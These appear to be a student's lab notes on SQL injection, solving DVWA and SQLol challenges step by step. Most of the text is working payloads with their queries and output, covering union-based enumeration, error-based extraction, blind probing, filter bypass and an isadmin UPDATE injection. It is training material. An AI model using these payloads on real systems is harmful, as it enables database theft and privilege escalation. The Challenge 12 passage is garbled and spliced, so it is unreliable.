ncist网络空间安全专业护网方向认知实习笔记2021.12 DAY7

渗透测试之SQL注入

  • 由于第六天学到的东西主要还是复习HTTP协议以及一些网络请求方式(主要是GET和POST),没啥东西,多抓抓包,谁都能学会,我就不在笔记里边写了。今天的才是大头!!!!
  • 今天的笔记里边重点记录以下今天开的新篇(重点!):SQL注入

写在前边,如果在后边的SQL注入示例中出现了多种注入方法的出现,那么第一个就是老师给的标准案例,后边的就是我个人根据理解自己写的,都是可以的

SQL注入

什么是SQL注入?

(啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊阿西吧一堆官方套话,我在这儿就说人话了(bushi))

个人理解:一种听过想网站内恶意传入某种参数导致连接数据库并访问的时候出现问题,导致出现一些攻击者出现的东西。比如:

-- 这是正常情况下的SQL语句,其中的$id表示的是需要查询的信息id
-- 正常的id  emmmmm  就很正常
SELECT * FROM TABLEname WHERE `id` = '{$id}';
-- 但是如果$id的值为    ' or 1=1;#      呢?
-- 来看一下完整的sql语句吧
SELECT * FROM TABLEname WHERE `id` = '' or 1=1;#';
-- 懂我意思了没,这种操作,叫做永真式简单注入,后边还会说

一些分类

  1. 简单注入(simple SQL injection)
    • 永真式:最后加入 or 1=1 来保证无论如何都能正常获得数据
    • 错误语句:估计修改使得Web服务器在调用SQL语句的时候出现报错,从而判断数据库类型或者其他信息
    • 结束注释:在其中混入注释符注释掉部分语句
    • 联合查询:使用 union all ,后边就可以写上我们真正需要的语句
  2. 盲注(Blind SQL injection)
    • 一般我们可以根据返回数据获取我们想要的信息。
    • 但一些页面,我们是获取不到详细信息。信息只有正确或不正确。

注入测试的一些例子

测试环境:DVWA

  • 简单注入:
    1' and 1=1;#    -- 判断是否可以注入
    1' or 1=1;#     -- 尝试获取数据表全部信息
    1' union all select 1,2;#              -- 来判断可以获取的参数个数
    1' union all select 1,(@@version);#    -- 来获取数据库版本
    1' union all select 1,(database());#   -- 来获取数据库名称
    1' union all select 1,group_concat(column_name) from information_schema.columns where table_name='users';#
                                -- 获取表所有列名

MCIR-master环境的搭建

  1. 首先解压缩素材文件到服务器根目录下(这边在Win11操作系统下使用phpstudy搭建环境)
    在这里插入图片描述

  2. 打开根目录,进入目录 \MCIR-master\sqlol\includes 下

  3. 打开下边的这个文件(记事本或者其他文本编辑器打开就行,我用的sublime)
    ncist网络空间安全专业护网方向认知实习笔记2021.12 DAY7_第1张图片

  4. 其中有一段文本默认是这样的:

ncist网络空间安全专业护网方向认知实习笔记2021.12 DAY7_第2张图片

  1. 将其中的 s e r v e r ( 服 务 器 I P , 用 本 机 的 即 可 ) 、 server(服务器IP,用本机的即可)、 serverIPport(MySQL开放的端口号,默认3306,当然多开的话可能也会有端口不一样的)、$password(root密码)改成你本机的实际信息即可。
  2. 进入php.ini文件(具体怎么进入的请百度。如果是phpstudy的话则直接在安装目录下找就可以了,比如说我本人的路径就是:

    F:\phpstudy_pro\Extensions\php\php7.3.4nts\php.ini)
  3. 确保以下属性被修改
allow_url_fopen=On
allow_url_include=On
  1. 打开任意浏览器,输入以下URL链接 http://127.0.0.1/MCIR-master/
  2. 界面如下:

ncist网络空间安全专业护网方向认知实习笔记2021.12 DAY7_第3张图片

  1. 点击左下角的SQLol界面,进入如下界面则SQL注入实验可以正常进行

ncist网络空间安全专业护网方向认知实习笔记2021.12 DAY7_第4张图片

  1. 点击正中间的“RESET按钮”,此时检查对应的数据库,则会将数据库创建好

ncist网络空间安全专业护网方向认知实习笔记2021.12 DAY7_第5张图片

  • 截止到现在,MCIR-master靶场环境配置成功

几道题的写法

点一下Challenges,会出来14道题

ncist网络空间安全专业护网方向认知实习笔记2021.12 DAY7_第6张图片

好了接下来就开始一道一道地搞了(说英语不好的,都给我憋着…IT界的人凭实力瞎蒙(bushi))

Challenge 0 - Hello, world!

ncist网络空间安全专业护网方向认知实习笔记2021.12 DAY7_第7张图片

差不多就这么个意思

  • 要求:输入点可以查询用户名是否存在。使用SQL注入遍历所有用户
  • 语句类型 - SELECT
  • 注入类型 - where语句注入
  • 访问类型 - GET
  • 过滤 - None
  • 输出–所有用户,错误语句,查询语句

注入就行

'or 1=1:#

然后下边写的很清晰嘛,这么一折腾,最后服务器得到的SQL语句是酱紫的:

SELECT username FROM users WHERE username = ''or 1=1;#' GROUP BY username ORDER BY username ASC

结果如下:

Array ( [username] => Herp Derper )
Array ( [username] => SlapdeBack LovedeFace )
Array ( [username] => Wengdack Slobdegoob )
Array ( [username] => Chunk MacRunfast )
Array ( [username] => Peter Weiner )

可见全部结果都已经回显了出来。

Challenge 1 - SQL Injection 101

ncist网络空间安全专业护网方向认知实习笔记2021.12 DAY7_第8张图片

差不多就这么个意思

  • 要求:找到社会安全码表,显示内容
  • 语句类型 - SELECT
  • 注入类型 - where语句注入
  • 访问类型- GET
  • 过滤 - None
  • 输出 - 所有用户,错误语句,查询语句

这边得分以下几步:

1.查找数据库

注入

-- type 1
'and 1=2 union select concat_ws(char(32,58,32),user(),database(),version());#
-- type 2
'and 1=2 union select concat_ws('-',user(),database(),version());#

SQL语句变成了:

-- 1.
SELECT username FROM users WHERE username = ''and 1=2 union select concat_ws(char(32,58,32),user(),database(),version());#' GROUP BY username ORDER BY username ASC
-- 2.
SELECT username FROM users WHERE username = ''and 1=2 union select concat_ws('-',user(),database(),version());#' GROUP BY username ORDER BY username ASC

返回结果:

-- 1.
Array ( [username] => root@localhost : sqlol : 5.7.26 )
-- 2.
Array ( [username] => [email protected] )
- 在这上边先加上了and 1=2则是直接否定了前边的sql语句,因为结果必错(事实证明,如果用 or 1=1 也是可以的,那样的话sql就应该注入下边这个,但是回显会很多:)
'or 1=1 union select concat_ws('-',user(),database(),version());#
  • 这边解释一下几个MySQL函数
    1. concat_ws
      • 表示的意思是查询第二个及其后边的所有内容,并用第一个字符串参数进行分割
      • 例如在这里的,就是查找用户名、数据库名、MySQL版本号并放在同一格中输出
      • 但是老师使用的是" : ",直接从ASCII表看看32、58、32对应的内容是什么就知道了(空格+冒号+空格)
      • 我用的就是直接的字符串"-"
    2. user() 的返回值是当前正在使用的用户名
    3. database() 的返回值是当前已经选定的数据库(php在连接数据库的时候都已经制定了一个数据库,等价于命令行中的:use database_name)
    4. version() 的返回值是当前mysql的版本号
2.查找数据表

根据上一步已经了解到了所用数据库的数据库名为"sqlol"

注入:

' and 1=2 union all select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='sqlol';#

SQL语句变成了:

SELECT username FROM users WHERE username = '' and 1=2 union all select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='sqlol';#' GROUP BY username ORDER BY username ASC

回显:

Array ( [username] => ssn )
Array ( [username] => users )
  • 这边讲几个东西
    1. MySQL 中的 information_schema 数据库
    - 太多了,反正是存储了一大堆和整个数据库中的数据表有关系的视图,这里边提到的TABLES表存储的则有数据库及其存储对应表的关系
    - 可以以下博客详解:
    - [https://blog.csdn.net/kikajack/article/details/80065753](https://blog.csdn.net/kikajack/article/details/80065753)
    
    1. 在初次运行的时候,报了如下的错误:(欸等一下,我是不是想到了一种防止sql注入的方法????)
    - Illegal mix of collations for operation 'UNION'
    - 初步原因是字符串编码的问题,我最终的解决方法是将users表中的username字段的编码方式改成了和information_schema的编码统一的utf8_general_ci,反正个人理解就是:联合查询的情况下,成立的起码条件就是两边数据表的编码格式需要保持一致
    - 可以参见以下博客:(ps:有条件的话用navicat改就行,用不着像这两篇里那样)
    - [https://blog.csdn.net/kikajack/article/details/80065753](https://blog.csdn.net/kikajack/article/details/80065753)
    - [https://blog.csdn.net/u011250160/article/details/114727359](https://blog.csdn.net/u011250160/article/details/114727359)
    
3.查找列

根据上边的查找内容已经可以确定目标数据表的表名为ssn,所以接下来我们需要查找所需要的具体列的列名

注入:

' and 1=2 union all select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='ssn';#

SQL语句变成了:

SELECT username FROM users WHERE username = '' and 1=2 union all select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='ssn';#' GROUP BY username ORDER BY username ASC

回显:

Array ( [username] => name )
Array ( [username] => ssn )
  • information_schema.COLUMNS表中存储的是列名和数据表之间的对应关系
4.最后一步:查找目标结果

根据上边的几步,可以了解到目标数据库名叫sqlol,数据表名叫ssn,目标列名有name和ssn

根据上边的这些信息,可以直接注入了

注入:

-- type 1
'and 1=2 union all select concat_ws(char(32,58,32),`name`,ssn) from sqlol.ssn;#
-- type 2
'and 1=2 union all select concat_ws(' - ',`name`,ssn) from sqlol.ssn;#

SQL语句变成了:

-- 1.
SELECT username FROM users WHERE username = ''and 1=2 union all select concat_ws(char(32,58,32),`name`,ssn) from sqlol.ssn;#' GROUP BY username ORDER BY username ASC
-- 2.
SELECT username FROM users WHERE username = ''and 1=2 union all select concat_ws(' - ',`name`,ssn) from sqlol.ssn;#' GROUP BY username ORDER BY username ASC

回显(这结果,不就好起来了吗?):

-- 1.
Array ( [username] => Herp Derper : 012-34-5678 )
Array ( [username] => SlapdeBack LovedeFace : 999-99-9999 )
Array ( [username] => Wengdack Slobdegoob : 000-00-1112 )
Array ( [username] => Chunk MacRunfast : 666-67-6776 )
Array ( [username] => Peter Weiner : 111-22-3333 )
-- 2.
Array ( [username] => Herp Derper - 012-34-5678 )
Array ( [username] => SlapdeBack LovedeFace - 999-99-9999 )
Array ( [username] => Wengdack Slobdegoob - 000-00-1112 )
Array ( [username] => Chunk MacRunfast - 666-67-6776 )
Array ( [username] => Peter Weiner - 111-22-3333 )
Challenge 2 - The Failure of Quote Filters

ncist网络空间安全专业护网方向认知实习笔记2021.12 DAY7_第9张图片

  • 要求:找到社会安全码表,显示内容
  • 语句类型 - SELECT
  • 注入类型 - where语句注入
  • 访问类型:GET
  • 过滤 - 单引号过滤
  • 输出 - 所有结果,错误语句,查询语句

这边就不给翻译了哈,这边的内容和上一道题重复度很高,唯一的区别就在于原有sql语句的不同。上一道题的sql语句中间有单引号但是这里没有,所以重复上一道题的步骤但是把注入的语句中的最开头的单引号删掉就可以了。没啥需要注意的【啊我呸】。

仔细看了一遍,更改一下上边的说法,这里边设计了单引号过滤——Single quotes removed(上边写的清清楚楚的),所以concat_ws调用的第一个参数必须用char拼接字符串的形式而不能直接用懂我意思了么!!

Challenge 3 - Death Row

ncist网络空间安全专业护网方向认知实习笔记2021.12 DAY7_第10张图片

差不多就这么个意思

  • 要求:找到社会安全码表,显示内容
  • 语句类型 - SELECT
  • 注入类型 - where语句注入
  • 访问类型:POST
  • 过滤 - None
  • 输出 - 一次一行,错误语句,无查询语句

分为以下几步:

1.查找数据库(从这儿开始我也懒得分我的和老师的来了,经过上一次的错误,这里的都统一了,我都开始按照老师的写了)

注入:

'and 1=2 union select concat_ws(char(32,58,32),user(),database(),version());#

SQL语句变成了:

SELECT username FROM users WHERE username = ''and 1=2 union select concat_ws(char(32,58,32),user(),database(),version());#' GROUP BY username ORDER BY username ASC

返回结果:

Array ( [username] => root@localhost : sqlol : 5.7.26 )
2.查找数据表

从上一步了解到数据库名字叫做sqlol

所以现在找数据表

注入:

' and 1=2 union all select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='sqlol';#

SQL语句变成了:

SELECT username FROM users WHERE username = '' and 1=2 union all select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='sqlol';#' GROUP BY username ORDER BY username ASC

回显(这玩意儿要是找不到对的就在上边增加筛选条件然后重新刷):

Array ( [username] => ssn )
3.查找列

从上边了解到目标数据表表名为ssn,继续

注入

' and 1=2 union all select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='ssn';#

SQL语句变成了:

SELECT username FROM users WHERE username = '' and 1=2 union all select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='ssn';#' GROUP BY username ORDER BY username ASC

回显:

Array ( [username] => name )

emmmmm,这玩意儿他够吗?不够,再来!!!

注入

' and 1=2 union all select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='ssn' limit 1,3;#

SQL语句变成了:

SELECT username FROM users WHERE username = '' and 1=2 union all select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='ssn' limit 1,3;#' GROUP BY username ORDER BY username ASC

回显:

Array ( [username] => ssn )

emmmmm这样就差不多了,接着看看有没有别的列(虽然已经知道了(bushi))

注入

' and 1=2 union all select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='ssn' limit 2;#

SQL语句变成了:

SELECT username FROM users WHERE username = '' and 1=2 union all select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='ssn' limit 2,4;#' GROUP BY username ORDER BY username ASC

回显:

好了,回显为空就说明只有两个列了,一个叫name,一个叫ssn

4.最后一步:查找目标结果

注入:

'and 1=2 union all select concat_ws(char(32,58,32),`name`,ssn) from sqlol.ssn limit 0,1;#

在这儿我就不多说了,一步一步都出来,直接放注入用的东西了。算上上边的一共有:

'and 1=2 union all select concat_ws(char(32,58,32),`name`,ssn) from sqlol.ssn limit 0,10;#
'and 1=2 union all select concat_ws(char(32,58,32),`name`,ssn) from sqlol.ssn limit 1,10;#
'and 1=2 union all select concat_ws(char(32,58,32),`name`,ssn) from sqlol.ssn limit 2,10;#
'and 1=2 union all select concat_ws(char(32,58,32),`name`,ssn) from sqlol.ssn limit 3,10;#
'and 1=2 union all select concat_ws(char(32,58,32),`name`,ssn) from sqlol.ssn limit 4,10;#
'and 1=2 union all select concat_ws(char(32,58,32),`name`,ssn) from sqlol.ssn limit 5,10;#
-- 到最后这一行回显就为空了,就到头了
-- 这个是老师用的,我还略有迷惑emmmm
'and 1=2 union all select concat_ws(char(32,58,32),`name`,ssn) from sqlol.ssn limit 1 offset 1;#
Challenge 4 - War on Error

ncist网络空间安全专业护网方向认知实习笔记2021.12 DAY7_第11张图片

差不多就这么个意思

  • 要求:找到社会安全码表,显示内容。查询结果不能显示,需要构造语句到错误显示处。
  • 语句类型 - SELECT
  • 注入类型 - where语句注入
  • 访问类型:POST
  • 过滤 - None
  • 输出 - 没有返回结果,错误语句,无查询语句

看到这个”没有返回结果“的时候虎躯一震,但后来仔细想想大部分的sql实战注入不都是不报错也都没有回显的吗?那就来试试√

参考着老师给的步骤先研究研究(还是经典四个步骤)

1.查找数据库

注入:

'and (extractvalue(1,concat(0x7e,(select concat_ws(char(32,58,32),user(),database()))))) and '1'='1

SQL语句变成了:

SELECT username FROM users WHERE username = ''and (extractvalue(1,concat(0x7e,(select concat_ws(char(32,58,32),user(),database()))))) and '1'='1' GROUP BY username ORDER BY username ASC

返回服务器报错

XPATH syntax error: '~root@localhost : sqlol'
  • 嘶~~~~在这儿碎碎念下::::妙蛙:::::妙蛙::::::
  • 嘶~~~~我去查一下这几个函数干毛用的【doge】
    • 咳咳,敲黑板划重点[doge]
    • 在之前提到过的concat_ws方法在这里就不再讲解了,如果还想看的话,就看一下Challenge 1 里边的第一步——查找数据库,我在那里进行了一定的解释
    • concat函数
      • 将查到的字符串直接拼接,相当于concat_wx("",字符1,字符2…)
      • 在这边辅助了下边的错误报错
    • extractvalue函数
      • 妙蛙~~~~~~~~~~~
      • 怎么讲呢,虽然但是,查到的东西一大半都是讲的这玩意儿的报错注入的用法,离谱的一批,就感觉这玩意儿就像是为了SQL注入而生的吗[笑哭]
      • 下边这一段是一段非常正经的extractvalue函数的使用方法。
/*
extractvalue():从目标XML中返回包含所查询值的字符串。
  EXTRACTVALUE (XML_document, XPath_string);
  第一个参数:XML_document是String格式,为XML文档对象的名称
  第二个参数:XPath_string (Xpath格式的字符串)
*/
SELECT  extractValue('','/a/attribute::href') body FROM `casexml`
  • 大概先知道这些吧,然后这里边有一个方法专门用于报错注入使用。如下:
例如:SELECT ExtractValue('', '/a/b'); 就是寻找前一段xml文档内容中的a节点下的b节点,这里如果Xpath格式语法书写错误的话,就会报错。这里就是利用这个特性来获得我们想要知道的内容。
-- 注入语句可以这样写:
and extractvalue(null,concat(0x7e,(代码操作),0x7e))
-- 把所需要查询出来的信息放在上边这个例子中的“代码操作”里边就行

ncist网络空间安全专业护网方向认知实习笔记2021.12 DAY7_第12张图片

  • 以上内容链接来源:https://blog.csdn.net/weixin_46706771/article/details/112768348
  • 划重点!!!
  • 用concat在代码操作的前后分别添加了添加了0x7e然后导致的xml读取相对路径错误,从而导致报错,但是又能输出一部分结果
  • 我特么直呼好家伙。
  • 下边的按照之前的思路往上套也就都能套出来了
2.查找数据表

从上一步了解到数据库名字叫做sqlol

所以现在找数据表

注入:

'and (extractvalue(1,concat(0x7e,( select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='sqlol')))) and '1'='1

SQL语句变成了:

SELECT username FROM users WHERE username = ''and (extractvalue(1,concat(0x7e,( select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='sqlol')))) and '1'='1' GROUP BY username ORDER BY username ASC;

服务器报错回显:

Subquery returns more than 1 row

emmmmmm好像并没有什么卵用

这时候就应该参考上一道题所提到的“单行回显”了。加上limit就好。

重来!!!!!!!!!!

注入:

'and (extractvalue(1,concat(0x7e,( select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='sqlol' limit 0,1)))) and '1'='1

服务器报错回显:

XPATH syntax error: '~ssn'

注入:

'and (extractvalue(1,concat(0x7e,( select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='sqlol' limit 1,1)))) and '1'='1

服务器报错回显:

XPATH syntax error: '~users'

注入:

'and (extractvalue(1,concat(0x7e,( select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='sqlol' limit 2,2)))) and '1'='1

服务器报错回显:

Ohhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh

这一段自己分析自己品,然后自己写出来,那感觉太爽了

3.查找列

废话不多说,跟上边的差不多,直接开干!!

注入:

'and (extractvalue(1,concat(0x7e,( select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='ssn' limit 0,1)))) and '1'='1

服务器报错回显:

XPATH syntax error: '~name'

注入:

'and (extractvalue(1,concat(0x7e,( select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='ssn' limit 1,1)))) and '1'='1

服务器报错回显:

XPATH syntax error: '~ssn'

注入:

'and (extractvalue(1,concat(0x7e,( select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='ssn' limit 2,2)))) and '1'='1

服务器报错回显:

4.最后一步:查找目标结果(冲他丫的胜利就在眼前!!!!!!!)

注入:

'and (extractvalue(1,concat(0x7e,(select concat_ws(char(32,58,32),`name`,ssn) from sqlol.ssn limit 0,1)))) and '1'='1

服务器报错回显:

XPATH syntax error: '~Herp Derper : 012-34-5678'

以此类推

'and (extractvalue(1,concat(0x7e,(select concat_ws(char(32,58,32),`name`,ssn) from sqlol.ssn limit 0,1)))) and '1'='1
'and (extractvalue(1,concat(0x7e,(select concat_ws(char(32,58,32),`name`,ssn) from sqlol.ssn limit 1,1)))) and '1'='1
'and (extractvalue(1,concat(0x7e,(select concat_ws(char(32,58,32),`name`,ssn) from sqlol.ssn limit 2,2)))) and '1'='1
'and (extractvalue(1,concat(0x7e,(select concat_ws(char(32,58,32),`name`,ssn) from sqlol.ssn limit 3,3)))) and '1'='1
'and (extractvalue(1,concat(0x7e,(select concat_ws(char(32,58,32),`name`,ssn) from sqlol.ssn limit 4,4)))) and '1'='1
'and (extractvalue(1,concat(0x7e,(select concat_ws(char(32,58,32),`name`,ssn) from sqlol.ssn limit 5,5)))) and '1'='1

然后这不就好起来了吗?问题解决

Challenge 5 - Blind Luck

ncist网络空间安全专业护网方向认知实习笔记2021.12 DAY7_第13张图片

差不多就这么个意思

  • 要求:找到社会安全码表,显示内容。盲注。
  • 语句类型 - SELECT
  • 注入类型 - where语句注入
  • 访问类型:POST
  • 过滤 - None
  • 输出 - 返回语句只有真假,没有错误语句,无查询语句
  1. 怎么讲呢,都玩到这儿了还能有啥办法呀?盲注!
  2. 参考下老师给的方法。注入:
' or ascii(substring((select user()),1,1))=111#
  1. .无回显,证明用户名第一位不是o(ascii对应的是111)
  2. 那就接着找呗,一个一个试,最终确认第一位的值是114(对应字符r)
  3. 好很有精神,接下来检索下一个
  4. 这样子人工来检查是不是太慢了?那就借助工具吧。在这儿就不展示了
Challenge 6 - Stack the Deck

ncist网络空间安全专业护网方向认知实习笔记2021.12 DAY7_第14张图片

差不多就这么个意思

  • 要求:找到社会安全码表,显示内容。
  • 语句类型 - SELECT
  • 注入类型 - where语句注入
  • 访问类型:POST
  • 过滤 - None
  • 输出 - 有返回结果,有错误语句,无查询语句

老套路,错误注入就行

注入:

'or updatexml(0,concat(0x01,(select concat_ws(char(32,58,32),`name`,'',ssn) from sqlol.ssn limit 0,1)),0)#

SQL语句变成了:

SELECT username FROM users WHERE username = ''or updatexml(0,concat(0x01,(select concat_ws(char(32,58,32),`name`,'',ssn) from sqlol.ssn limit 0,1)),0)#' GROUP BY username ORDER BY username ASC

服务器错误回显:

XPATH syntax error: 'Herp Derper : : 012-34-5678'
  • 这边用到的updatexml函数,就讲一下吧(老师在PPT里给出的一种方法,不失为一种可行的错误注入的方法)
select updatexml(1,concat(0x7e,(SELECT user()),0x7e),1
-- skr~~~差不多就这么个意思,类型很想,自己体会去
Challenge 7 - Walking on Thin Ice

ncist网络空间安全专业护网方向认知实习笔记2021.12 DAY7_第15张图片

差不多就这么个意思

  • 要求:找到社会安全码表,显示内容。DELETE注入(不小心删除的话就按网页上的RESET还原)
  • 语句类型 - DELETE
  • 注入类型 - where语句注入
  • 访问类型:POST
  • 过滤 - None
  • 输出 - 没有返回结果,有错误语句,无查询语句

有一说一,老套路了,用我们的老朋友:报错查询

注入:

'or updatexml(0,concat(0x01,(select concat_ws(char(32,58,32),`name`,'',ssn) from sqlol.ssn limit 0,1)),0)#

SQL语句变成了:

DELETE FROM users WHERE username = ''or updatexml(0,concat(0x01,(select concat_ws(char(32,58,32),`name`,'',ssn) from sqlol.ssn limit 0,1)),0)#'

服务器报错回显:

XPATH syntax error: 'Herp Derper : : 012-34-5678'

报错注入yyds!!!

Challenge 8 - Black Comedy

ncist网络空间安全专业护网方向认知实习笔记2021.12 DAY7_第16张图片

差不多就这么个意思

  • 要求:找到社会安全码表,显示内容。
  • 语句类型 - SELECT
  • 注入类型 - where语句注入
  • 访问类型:POST
  • 过滤 - union,select,where,and,–,#
  • 输出 - 返回结果, 错误语句,查询语句

既然这里过滤了union和select等,那我们就玩一波大小写混淆√

注入:

'aNd 1=2 uNiOn all SeLEct concat_ws(char(32,58,32),`name`,ssn) from sqlol.ssn;#

然后就…翻车了

差点忘了 # 这样的注释符也被注释掉了

那么就这样

注入:

'uNiOn SeLEct concat(`name`,char(32,58,32),ssn) from sqlol.ssn uNion seLeCt null from users whEre username='

SQL语句变成了:

SELECT username FROM users WHERE username = ''uNiOn SeLEct concat(`name`,char(32,58,32),ssn) from sqlol.ssn uNion seLeCt null from users whEre username='' GROUP BY username ORDER BY username ASC

成功得到回显:

Array ( [username] => Chunk MacRunfast : 666-67-6776 )
Array ( [username] => Herp Derper : 012-34-5678 )
Array ( [username] => Peter Weiner : 111-22-3333 )
Array ( [username] => SlapdeBack LovedeFace : 999-99-9999 )
Array ( [username] => Wengdack Slobdegoob : 000-00-1112 )
  • 这边给到的是一些关键字符被过滤情况下的方法:大小写混淆
Challenge 9 - Administrative Tasks

ncist网络空间安全专业护网方向认知实习笔记2021.12 DAY7_第17张图片

差不多就这么个意思

  • 要求:插入到查询中,使其将id为3的用户的“isadmin”字段更新为1。
  • 语句类型 - UPDATE
  • 注入类型 - 需要写入的值
  • 访问类型:POST
  • 过滤 - None
  • 输出 - 通用错误信息,查询显示

注入:

-- 这个是老师给的,注入之后会使得整个username都被改掉,我认为因该添加一个联合查询
admin',isadmin=1 where id=3;#
-- 这是我改进的emmmmm算了还是用老师的吧
slect username from users where id=3',isadmin=1 where id=3;#

插入之后的SQL语句:

UPDATE users SET username = 'admin',isadmin=1 where id=3;#' WHERE isadmin = 0
UPDATE users SET username = 'slect username from users where id=3',isadmin=1 where id=3;#' WHERE isadmin = 0

无回显,下边的上图是插入前的数据表,下图使用上边的方法插入后的数据表

ncist网络空间安全专业护网方向认知实习笔记2021.12 DAY7_第18张图片

ncist网络空间安全专业护网方向认知实习笔记2021.12 DAY7_第19张图片

Challenge 10 - No WHERE

ncist网络空间安全专业护网方向认知实习笔记2021.12 DAY7_第20张图片

差不多就这么个意思

  • 要求::从数据库中获得社会安全号码。
  • 语句类型 - SELECT
  • 注入类型 - 列名
  • 访问类型:GET
  • 过滤 - None
  • 输出 - 无错误信息,查询显示

在这边我就一步一步具体展示了哈

1.查找数据库

注入:

concat_ws(' - ',user(),database())

SQL语句变成了:

SELECT concat_ws(' - ',user(),database()) FROM users WHERE isadmin = 0 GROUP BY username ORDER BY username ASC

服务器回显:

Array ( [concat_ws(' - ',user(),database())] => root@localhost - sqlol )
Array ( [concat_ws(' - ',user(),database())] => root@localhost - sqlol )
Array ( [concat_ws(' - ',user(),database())] => root@localhost - sqlol )

好了,了解到了数据库名叫sqlol

2.查找数据表

注入:

TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='sqlol'#

SQL语句变成了:

SELECT TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='sqlol'# FROM users WHERE isadmin = 0 GROUP BY username ORDER BY username ASC

顺利得到回显:

Array ( [TABLE_NAME] => ssn )
Array ( [TABLE_NAME] => users )

ssn这个目标数据表不就拿到了吗?

3.查找列

注入

COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='ssn'#

SQL语句变成了:

SELECT COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='ssn'# FROM users WHERE isadmin = 0 GROUP BY username ORDER BY username ASC

顺利得到回显:

Array ( [COLUMN_NAME] => name )
Array ( [COLUMN_NAME] => ssn )

列名:name和ssn

4.查找目标数据

注入

concat(name,' :: ',ssn) from ssn#

SQL语句变成了:

SELECT concat(name,' :: ',ssn) from ssn# FROM users WHERE isadmin = 0 GROUP BY username ORDER BY username ASC

顺利得到回显:

Array ( [concat(name,' :: ',ssn)] => Herp Derper :: 012-34-5678 )
Array ( [concat(name,' :: ',ssn)] => SlapdeBack LovedeFace :: 999-99-9999 )
Array ( [concat(name,' :: ',ssn)] => Wengdack Slobdegoob :: 000-00-1112 )
Array ( [concat(name,' :: ',ssn)] => Chunk MacRunfast :: 666-67-6776 )
Array ( [concat(name,' :: ',ssn)] => Peter Weiner :: 111-22-3333 )

好起来了(good!)

Challenge 11 - No WHERE 2

ncist网络空间安全专业护网方向认知实习笔记2021.12 DAY7_第21张图片

差不多就这么个意思

  • 要求::从数据库中获得社会安全号码。
  • 语句类型 - SELECT
  • 注入类型 - 列名(向 ORDER BY 字句中插入)
  • 访问类型:GET
  • 过滤 - None
  • 输出 - 无错误信息,查询显示

注入:

if(1=2,1,sleep(5))#

有延迟,证明这里可以注入

重新编辑再注入:

1 and updatexml(0,concat(0x01,(select concat_ws(char(32,58,32),`name`,'',ssn) from sqlol.ssn limit 0,1)),0)#
-- if(1=2,1,select concat(`name`,' :: ',ssn) from sqlol.ssn)#
-- 折腾了半天还得是报错注入呀

Navicat一试就成功了,放在靶场里才想起来无报错显示…

wnm…再来!!!

  • 先卡着…等会儿再看
Challenge 12 - XSSQLi

ncist网络空间安全专业护网方向认知实习笔记2021.12 DAY7_第22张图片

差不多就这么个意思

  • 数据库的内容通常被认为是可信的。一些大规模攻击者利用这一事实,并发起大规模SQL注入攻击,不仅窃取数据库的内容但也';#' GROUP BY username ORDER BY username ASC

    这时候注入之后就会发现,没有出现回显,但是在网页的前端出现了一段js源码,在这里我们只是让网页弹出了一段警告框,但是如果我们插入的东西再多一点,是不是就可以获取更多的东西了?

    这段好像XSS注入呀…

    Challenge 13 - LIKE OMG

    ncist网络空间安全专业护网方向认知实习笔记2021.12 DAY7_第23张图片

    差不多就这么个意思

    • LIKE关键字的操作类似于SQL数据库中的相等操作符“=”。不同之处在于允许通配符。在这个挑战中,开发人员使用了“LIKE”关键字而不是相等操作符。
    • 您的目标是从数据库中检索所有用户名。
    • 要求::从数据库中获得社会安全号码。
    • 语句类型 - SELECT
    • 注入类型 - WHERE字句中的字符串值
    • 访问类型:POST
    • 过滤 - 单引号过滤
    • 输出 - 布尔值、查询结果不显示、无报错信息

    需要使用python编程和sqlmap工具,在准备好之后再回来更~~~

    Challenge 13 - Now you have two problems

    ncist网络空间安全专业护网方向认知实习笔记2021.12 DAY7_第24张图片

    差不多就这么个意思

    • 通常情况下,如果你有一个问题,你试着用正则表达式来解决,你现在有两个问题。在这个挑战中,您必须避开以正则表达式实现的白名单过滤器。
    • 您的目标是从数据库中检索社会安全数字。
    • 语句类型 - SELECT
    • 注入类型 - WHERE字句中的字符串值
    • 访问类型:POST
    • 过滤 - 白名单、正则表达式

    – 开发中…

    题目小结

    1. 第零题是很简单的 'or 1=1;# 永真式注入,直接输出表中所有内容,一句话带过
    2. 第一题是一道中规中矩的常规SQL注入。首先通过database()函数查找到了当前的数据库名;然后通过information_schema.TABLES数据表中的TABLE_SCHEMA列查找到了目标的可能数据表表名;最后通过information_schema.COLUMNS数据表中的TABLES_NAME属性查找到了目标的列名;当目标的数据库名、表名、列名都了解到的时候,目标内容怎么查找?就很简单了
    3. 相较于第一题,第二题添加了单引号过滤的机制,但是无伤大雅,直接放上0或1,后边的照常就能出结果了
    4. 相较于第一题,第三题调整成了每次只能输出一行的机制,这种情情况下,使用LIMIT方法每一行逐步输出就可以慢慢得到结果了,如果数据量过大手动注入很慢的话,可以考虑编写脚本的方式来实现这些事情。
    5. 第四题则是开了个新坑,整体注入的思路不变,但是错误注入得到所需信息的基本思路是不变的。只需要用一些函数来实现错误回显。我会在后边的模块中进行汇总。
